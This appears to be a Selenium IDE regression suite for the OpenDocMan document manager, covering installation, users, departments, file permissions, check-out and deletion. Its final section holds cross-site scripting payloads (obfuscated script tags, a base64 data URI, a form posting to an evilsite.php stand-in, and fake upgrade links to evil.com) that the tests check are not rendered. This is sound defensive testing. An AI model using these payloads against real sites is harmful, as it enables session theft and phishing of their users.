01_ODM_EnvDocker
store/var/www/document_repositoryCurrentEnvironmentDataDir
storeopendocmanCurrentEnvironmentDB
storehttp://local.odmCurrentEnvironment
storeopendocmanCurrentEnvironmentDBUser
storeopendocmanCurrentEnvironmentDBPassword
storedbCurrentEnvironmentDBHost
02_ODM_Installation
open${CurrentEnvironment}/index
clickAndWait//a[contains(text(),'Create a Configuration File')]
clickAndWait link=Let’s go!
typeid=dbhost${CurrentEnvironmentDBHost}
typeid=dbname${CurrentEnvironmentDB}
type id=uname ${CurrentEnvironmentDBUser}
type id=pwd ${CurrentEnvironmentDBPassword}
type id=adminpass password
type id=datadir ${CurrentEnvironmentDataDir}
clickAndWait name=submit
clickAndWait link=Run the install
chooseOkOnNextConfirmation
clickAndWait link=Click HERE To set up database for*
waitForTextPresent All Done with installation!
open ${CurrentEnvironment}/index
type name=frmuser admin
type name=frmpass password
clickAndWait name=login
clickAndWait link=Admin
clickAndWait link=Update
select name=item label=User, Admin - admin
clickAndWait name=submit
type name=Email support@localhost.local
clickAndWait name=submit
01_ODM_EnvLocalhost
store127.0.0.1CurrentEnvironmentDBHost
storeopendocmanCurrentEnvironmentDB
storehttp://127.0.0.1CurrentEnvironment
storeopendocmanCurrentEnvironmentDBUser
storeopendocmanCurrentEnvironmentDBPassword
store/home/logart/Documents/dev/opendocman/dataCurrentEnvironmentDataDir
storepasswordCurrentEnvironmentAdminPassword
store/home/logart/test.txtCurrentEnvironmentTestFile1
store/home/logart/test.pdfCurrentEnvironmentTestPDF
02_ODM_Inst_Reorg
open${CurrentEnvironment}/index
clickAndWaitlink=Let’s go!
typeid=dbhost${CurrentEnvironmentDBHost}
typeid=dbname${CurrentEnvironmentDB}
typeid=uname${CurrentEnvironmentDBUser}
typeid=pwd${CurrentEnvironmentDBPassword}
typeid=adminpass${CurrentEnvironmentAdminPassword}
typeid=datadir${CurrentEnvironmentDataDir}
clickAndWaitname=submit
clickAndWaitlink=Run the install
chooseOkOnNextConfirmation
clickAndWaitlink=Click HERE To set up database for*
waitForTextPresentAll Done with installation!
open${CurrentEnvironment}/index
typename=frmuseradmin
typename=frmpasspassword
clickAndWaitname=login
clickAndWaitlink=Admin
clickAndWaitlink=Update
selectname=itemlabel=User, Admin - admin
clickAndWaitname=submit
typename=Emailsupport@localhost.local
clickAndWaitname=submit
03_ODM_FilePermissions_Add_Departments
open${CurrentEnvironment}/out
clickAndWaitlink=Admin
clickAndWaitxpath=(//a[contains(text(),'Add')])[3]
typename=departmentDepartment A
clickAndWait//button[@name='submit']
verifyTextPresentDepartment successfully added
clickAndWaitxpath=(//a[contains(text(),'Add')])[3]
typename=departmentDepartment B
clickAndWait//button[@name='submit']
verifyTextPresentDepartment successfully added
clickAndWaitxpath=(//a[contains(text(),'Add')])[3]
typename=departmentDepartment C
clickAndWait//button[@name='submit']
verifyTextPresentDepartment successfully added
clickAndWaitxpath=(//a[contains(text(),'Add')])[3]
typename=departmentDepartment A
clickAndWait//button[@name='submit']
assertTextid=last_messageRecord already exists. Try again with a different value.
04_ODM_Add_ABC_Users
open${CurrentEnvironment}/admin
clickAndWaitlink=Admin
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptA
typename=usernamedepta
typename=passwordpassword
typename=Emaildepta@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptB
typename=usernamedeptb
typename=passwordpassword
selectname=departmentlabel=Department B
typename=Emaildeptb@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptC
typename=usernamedeptc
typename=passwordpassword
selectname=departmentlabel=Department C
typename=Emaildeptc@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptA2
typename=usernamedepta2
typename=passwordpassword
selectname=departmentlabel=Department A
typename=Emaildepta2@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptB2
typename=usernamedeptb2
typename=passwordpassword
selectname=departmentlabel=Department B
typename=Emaildeptb2@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptC2
typename=usernamedeptc2
typename=passwordpassword
selectname=departmentlabel=Department C
typename=Emaildeptc2@local.dev
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameAdmin2
typename=usernameadmin2
typename=passwordpassword
selectname=departmentlabel=Information Systems
typename=Emailadmin2@local.dev
clickid=cb_admin
clickAndWaitid=submitButton
verifyTextid=last_messageUser successfully added
clickAndWaitlink=Update
selectname=itemlabel=User, Admin2 - admin2
clickAndWaitname=submit
verifyValueid=cb_adminon
clickid=cb_admin
clickAndWaitname=submit
clickAndWaitlink=Admin
clickAndWaitlink=Update
selectname=itemlabel=User, Admin2 - admin2
clickAndWaitname=submit
verifyValueid=cb_adminoff
clickid=cb_admin
clickAndWaitname=submit
clickAndWaitlink=Admin
clickAndWaitlink=Update
selectname=itemlabel=User, Admin2 - admin2
clickAndWaitname=submit
verifyValueid=cb_adminon
clickAndWaitname=submit
clickAndWaitlink=Admin
clickAndWaitlink=Add
typename=last_nameReviewer
typename=first_nameDepta
typename=usernamedeptareviewer
typename=passwordpassword
typename=Emaildeptareviewer@local.dev
selectname=departmentlabel=Department A
click//button[@type='button']
clickid=ui-multiselect-userReviewDepartmentsList-option-0
clickid=ui-multiselect-userReviewDepartmentsList-option-1
clickAndWaitid=submitButton
verifyTextPresentUser successfully added
clickAndWaitlink=Admin
clickAndWaitlink=Add
typename=last_nameReviewer2
typename=first_nameDepta
typename=usernamedeptareviewer2
typename=passwordpassword
typename=Emaildeptareviewer2@local.dev
selectname=departmentlabel=Department A
click//button[@type='button']
clickid=ui-multiselect-userReviewDepartmentsList-option-0
clickid=ui-multiselect-userReviewDepartmentsList-option-1
clickAndWaitid=submitButton
verifyTextPresentUser successfully added
clickAndWaitlink=Admin
clickAndWaitlink=Add
typename=last_nameReviewer3
typename=first_nameDepta
typename=usernamedeptareviewer3
typename=passwordpassword
typename=Emaildeptareviewer3@local.dev
selectname=departmentlabel=Department A
click//button[@type='button']
clickid=ui-multiselect-userReviewDepartmentsList-option-0
clickid=ui-multiselect-userReviewDepartmentsList-option-1
clickAndWaitid=submitButton
verifyTextPresentUser successfully added
clickAndWaitlink=Admin
clickAndWaitlink=Add
typename=last_nameUser
typename=first_nameDeptA
typename=usernamedepta
typename=passwordpassword
typename=Emaildepta@local.dev
clickAndWaitid=submitButton
assertTextid=last_messageRecord already exists. Try again with a different value.
05_ODM_Add_Edit_File
open${CurrentEnvironment}/add
clickAndWaitlink=Add Document
typename=file[]/home/logart/test.txt
selectname=file_ownerlabel=User, DeptA
selectname=file_departmentlabel=Department A
selectname=categorylabel=SOP
clicklink=Edit Department Permissions
clickname=department_permission[2]
clickxpath=(//input[@name='department_permission[4]'])[3]
clickxpath=(//input[@name='department_permission[1]'])[5]
clicklink=Edit User Permissions
clickname=user_permission[9]
clickxpath=(//input[@name='user_permission[10]'])[2]
clickxpath=(//input[@name='user_permission[11]'])[3]
clickxpath=(//input[@name='user_permission[8]'])[4]
click//input[@name='description']
type//input[@name='description']File Test 1
clickname=comment
typename=commentJust a test comment
clickname=submit
assertText//tr[2]/tdSOP
click//tr[5]/td
assertTextlink=User, DeptAUser, DeptA
click//tr[6]/td
assertText//tr[6]/tdFile Test 1
click//tr[7]/td
assertText//tr[7]/tdJust a test comment
clicklink=Edit
assertValuename=file_owner2
assertValuename=file_department2
assertValuename=category1
clicklink=Edit Department Permissions
assertValuexpath=(//input[@name='department_permission[2]'])[2]on
assertValuexpath=(//input[@name='department_permission[3]'])[2]on
assertValuexpath=(//input[@name='department_permission[4]'])[3]on
assertValuexpath=(//input[@name='department_permission[1]'])[5]on
clicklink=Edit User Permissions
assertValuename=user_permission[9]on
assertValuexpath=(//input[@name='user_permission[10]'])[2]on
assertValuexpath=(//input[@name='user_permission[11]'])[3]on
assertValuexpath=(//input[@name='user_permission[1]'])[5]on
assertValuexpath=(//input[@name='user_permission[8]'])[4]on
assertValue//input[@name='description']File Test 1
assertValuename=commentJust a test comment
clicklink=Edit Department Permissions
clickxpath=(//input[@name='department_permission[2]'])[6]
clickxpath=(//input[@name='department_permission[3]'])[6]
clickxpath=(//input[@name='department_permission[4]'])[6]
clickxpath=(//input[@name='department_permission[1]'])[6]
clicklink=Edit User Permissions
clickxpath=(//input[@name='user_permission[9]'])[5]
clickxpath=(//input[@name='user_permission[10]'])[5]
clickxpath=(//input[@name='user_permission[11]'])[5]
clickxpath=(//input[@name='user_permission[8]'])[5]
clickname=submit
assertTextid=last_messageDocument successfully updated
clicklink=Edit
clicklink=Edit Department Permissions
assertValuexpath=(//input[@name='department_permission[2]'])[6]on
assertValuexpath=(//input[@name='department_permission[3]'])[6]on
assertValuexpath=(//input[@name='department_permission[4]'])[6]on
assertValuexpath=(//input[@name='department_permission[1]'])[6]on
clicklink=Edit User Permissions
assertValuexpath=(//input[@name='user_permission[9]'])[5]on
assertValuexpath=(//input[@name='user_permission[10]'])[5]on
assertValuexpath=(//input[@name='user_permission[11]'])[5]on
assertValuexpath=(//input[@name='user_permission[1]'])[5]on
assertValuexpath=(//input[@name='user_permission[8]'])[5]on
assertValuexpath=(//input[@name='user_permission[2]'])[5]off
clickid=addeditform
06_ODM_Approve_File
open${CurrentEnvironment}/out
assertTextlink=Documents waiting to be reviewedDocuments waiting to be reviewed
clicklink=Documents waiting to be reviewed
clickname=checkbox[]
clickname=submit
addSelectionname=send_to_users[]label=no one
removeSelectionname=send_to_users[]label=file owners
click//option[@value='0']
clickname=submit
assertTextid=last_messageFile authorization completed successfully
09_ODM_CheckOut_In
clickAndWaitlink=Home
clickAndWaitlink=test.txt
clickAndWaitlink=Check out
clickname=submit
clickAndWaitname=submit
assertTextid=last_messageThere was an error performing the request action
clickAndWaitlink=Home
assertText//img[@alt='locked']
clickAndWaitlink=test.txt
assertTextNotPresentlink=Check outCheck out
clickAndWaitlink=Check-in
clickAndWaitcss=a.regular
typename=file${CurrentEnvironmentTestFile1}
typename=noteUpdated
clickAndWaitname=submit
assertTextid=last_messageDocument successfully checked in
assertTextlink=Documents waiting to be reviewedDocuments waiting to be reviewed
07_Admin_Pages_Mime_Type_Test
open${CurrentEnvironment}/admin
clickAndWaitlink=Edit file types
click//button[@type='button']
click//li/a/span[2]
clickAndWaitname=submit
clickAndWaitlink=Add Document
typename=file[]${CurrentEnvironmentTestPDF}
clickAndWaitname=submit
verifyTextPresentDocument successfully added
chooseOkOnNextConfirmation
clickAndWaitlink=Delete
verifyTextPresentDocument has been archived
clickAndWaitlink=Admin
clickAndWaitlink=Edit file types
click//button[@type='button']
click//li[2]/a/span[2]
clickAndWaitname=submit
clickAndWaitlink=Add Document
typename=file[]${CurrentEnvironmentTestPDF}
clickAndWaitname=submit
verifyTextPresentexact:MIMETYPE: application/pdf Failed
open${CurrentEnvironment}/admin
clickAndWaitlink=Edit file types
click//button[@type='button']
click//li/a/span[2]
clickAndWaitname=submit
23_ODM_Delete_ABC_Users
open${CurrentEnvironment}/admin
clickAndWaitlink=Admin
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptA - depta
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptB - deptb
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptC - deptc
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptA2 - depta2
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptB2 - deptb2
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, DeptC2 - deptc2
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=User, Admin2 - admin2
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=Reviewer, Depta - deptareviewer
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=Reviewer2, Depta - deptareviewer2
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
clickAndWaitlink=Delete
selectname=itemlabel=Reviewer3, Depta - deptareviewer3
clickAndWaitname=submit
clickAndWaitname=submit
verifyTextPresentUser successfully deleted
24_ODM_Delete_Depts
open${CurrentEnvironment}/department
clickAndWaitlink=Admin
clickAndWaitxpath=(//a[contains(text(),'Delete')])[2]
clickAndWaitname=submit
selectname=assigned_idlabel=Information Systems
clickAndWaitname=deletedepartment
assertTextid=last_messageAll actions completed successfully id:*
clickAndWaitxpath=(//a[contains(text(),'Delete')])[2]
clickAndWaitname=submit
selectname=assigned_idlabel=Information Systems
clickAndWaitname=deletedepartment
assertTextid=last_messageAll actions completed successfully id:*
clickAndWaitxpath=(//a[contains(text(),'Delete')])[2]
clickAndWaitname=submit
selectname=assigned_idlabel=Information Systems
clickAndWaitname=deletedepartment
assertTextid=last_messageAll actions completed successfully id:*
ODM_Delete_File
open${CurrentEnvironment}/out
clickAndWaitlink=test.txt
chooseOkOnNextConfirmation
clicklink=Delete
assertTextid=last_messageDocument has been archived
clicklink=Admin
clicklink=Delete/Undelete
clickname=checkbox[]
clickxpath=(//button[@name='submit'])[2]
assertTextid=last_messageThe file has been permanently deleted
26_ODM_XSS_Tests
open${CurrentEnvironment}/logout
open${CurrentEnvironment}/index?redirection="><a href="data:),< S c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a><x="
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection="><a href="data:),< s   &n bsp; c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a>
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection="><a href="data:),< s c      r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a>
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection=&quot;&gt;&lt;a href=&quot;data:),&lt; s&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;c r i p t &gt; a l e r t ( document.domain ) &lt; / s c r i p t &gt;&quot;&gt;CLICK&lt;/a&gt;</td>
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection=&quot;&gt;&lt;a href=&quot;data:),&lt; scr ipt &gt; a l e r t ( document.domain ) &lt; / s c r i p t &gt;&quot;&gt;CLICK&lt;/a&gt;
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection=&quot;&gt;&lt;a href=&quot;data:text/html;base64,PHNjcmlwdD5 hbGVydCgnWFNTJyk8L3NjcmlwdD4=&quot;&gt;CLICK&lt;/a&gt;&lt;x=&quot;
assertNotTextlink=CLICKCLICK
open${CurrentEnvironment}/index?redirection=&quot;&gt;&lt;/form&gt;&lt;form action=&quot;http://localhos t/evilsite.php&quot; method=&quot;post
assertElementNotPresent//html/body/table[2]/tbody/tr/td[1]/table/form[2]
open${CurrentEnvironment}/index
typename=frmuseradmin
typename=frmpass${CurrentEnvironmentAdminPassword}
clickAndWaitname=login
open${CurrentEnvironment}/search&quot;&gt;&lt;a href=&quot;http://evil.com&quot; style=&quot;background : red; color: white&quot;&gt;SecurityAlert: Please upgrade to the latest version here!&lt;/a&gt;&lt;input type=hidde n
assertElementNotPresentlink=exact:SecurityAlert: Please upgrade to the latest version here!
open${CurrentEnvironment}/add
typename=file[]${CurrentEnvironmentTestFile1}
typename=comment&quot;&gt;&lt;a<br />href=&quot;http://evil.com&quot; style=&quot;background: red; color: white&quot;&gt ;Security<br />Alert: Please upgrade to the latest version here!&lt;/a&gt;&lt;input type=hidden
clickAndWaitname=submit
assertTextid=last_messageDocument successfully added
assertElementNotPresent//a[@href='http://evil.com']
Break
break
07_Admin_Pages_Access_Log
08_ODM_Auth_File
10_ODM_Auth_File
11_DM_View_File
12_Admin_Pages_ODM_SubSelect_Test
13_ODM_Search_UDF
14_ODM_Search_User
15_ODM_Search_FID
16_ODM_Search_Comment
17_ODM_Search_Category
18_ODM_Search_Description
19_ODM_Search_Department
20_ODM_Search
21_ODM_Search_Filename_CASE
22_ODM_Delete_SubSelect
25_ODM_Logout